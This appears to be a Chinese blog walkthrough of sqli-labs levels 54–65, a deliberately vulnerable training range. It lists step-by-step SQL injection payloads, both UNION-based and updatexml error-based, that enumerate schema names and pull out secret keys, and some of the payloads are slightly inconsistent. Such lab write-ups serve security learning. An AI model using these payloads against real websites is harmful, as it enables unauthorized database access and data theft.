sql-lab (54-65)

(54~60)

sql-lab-54

从54关开始,关卡开始有了难度

54关仅允许我们输入十次语句,十次语句时候该靶场就会对里面所有的库名,表名,列名进行一个刷新。所以从这关开始,所有的语句仅供参考。

第一步,先判断闭合方式:

id=1 'and 1=2 --q

页面报错,所以闭合方式为 单引号

第二步,判断关键词禁用

第三步 判断注入语句的构造思路

  • 应为该页面回显所以使用联合查询

    ?id=-1’ union select 1,2,database() – q

发现库名为:challenges

?id=-1 ’ union select 1,table_name,3 from information_schema.tables where table_schema=‘challenges’ limit 0,1-- q

发现表名为:ufka71dqts

?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘ufka71dqts’-- q

发现列名为::id,sessid,secret_JZU6,tryy

?id=-1 ’ union select 1,secret_JZU6,3 from ufka71dqts – q

查询成功,将我们的查询结果提交到:Submit Secret Key

本题闯关成功!

sql-lab-55

判断闭合,?id=1)and 1=1-- q

发现闭合方式为 括号

判断注入语句的构造思路

  • 应为该页面回显所以使用联合查询

    ?id=-1)union select 1,2,database() – q

发现库名为:challenges

?id=-1 )union select 1,table_name,3 from information_schema.tables where table_schema=‘challenges’ limit 0,1-- q

发现表名为:qbj8tdrlxb

?id=-1)union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘qbj8tdrlxb’-- q

发现列名为:id,sessid,secret_N7EM,tryy

?id=-1 )union select 1,secret_N7EM,3 from qbj8tdrlxb – q

查询成功,将我们的查询结果提交到:Submit Secret Key

本题闯关成功!

sql-lab-56

判断闭合,?id=1’)and 1=1-- q

判断注入语句的构造思路

  • 应为该页面回显所以使用联合查询

    ?id=-1’) union select 1,2,database() – q

发现库名为:challenges

?id=-1 )union select 1,table_name,3 from information_schema.tables where table_schema=‘challenges’ limit 0,1-- q

发现表名为:okzcd5g9co

?id=-1’)union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘okzcd5g9co’-- q

发现列名为::id,sessid,secret_W8S8,tryy

?id=-1’)union select 1,secret_W8S8,3 from okzcd5g9co – q

查询成功,将我们的查询结果提交到:Submit Secret Key

本题闯关成功!


sql-lab-57

这道题和前面的题除了闭合方式是一摸一样

判断闭合,?id=1"and 1=1-- q


sql-lab-58

首先判断闭合,?id=1’ and 1=1 – q

然后使用联合查询发现不能使用,然后我们使用报错注入。

?id=1’ and updatexml(1,concat(0x7e,database(),0x7e),1)-- q

发现库名为:challenges

?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)-- q

发现表名为:20lvmztx1r

?id=1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘20lvmztx1r’ limit 0,1),0x7e),1)-- q

发现列名为:id,sessid,secret_X8WY,tryy

id=1’ and updatexml(1,concat(0x7e,(select secret_X8WY from 20lvmztx1r limit 0,1),0x7e),1)-- q

查询成功,

本题闯关成功!


sql-lab-59

?id=1 and 1=2-- q

?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)-- q

?id=1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)-- q

?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘fjwx950mdd’ limit 0,1),0x7e),1)-- q

id=1 and updatexml(1,concat(0x7e,(select secret_Z2BD from fjwx950mdd limit 0,1),0x7e),1)-- q


sql-lab-60

?id=1")and 1=2-- q

?id=1") and updatexml(1,concat(0x7e,database(),0x7e),1)-- q

?id=1") and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)-- q

?id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘hmguhc8wji’ limit 0,1),0x7e),1)-- q

id=1") and updatexml(1,concat(0x7e,(select secret_0LPA from hmguhc8wji limit 0,1),0x7e),1)-- q


(61~65)

spl-lab-61

?id=1’))and 1=1-- q

?id=1’)) and updatexml(1,concat(0x7e,database(),0x7e),1)-- q

?id=1’)) and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)-- q

?id=1’)) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘qd5l9mppz3’ limit 0,1),0x7e),1)-- q

?id=1’)) and updatexml(1,concat(0x7e,(select secret_ZHCO from qd5l9mppz3 limit 0,1),0x7e),1)-- q


sql-lab-62~65

在这道题我们发现联合查询和报错注入什么都不能用什么都不能用

先判断闭合方式:

?id=1’)and 1=1-- q

然后使用盲注

建议写盲注脚本解决。

自此sql-lab算是告一段落

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值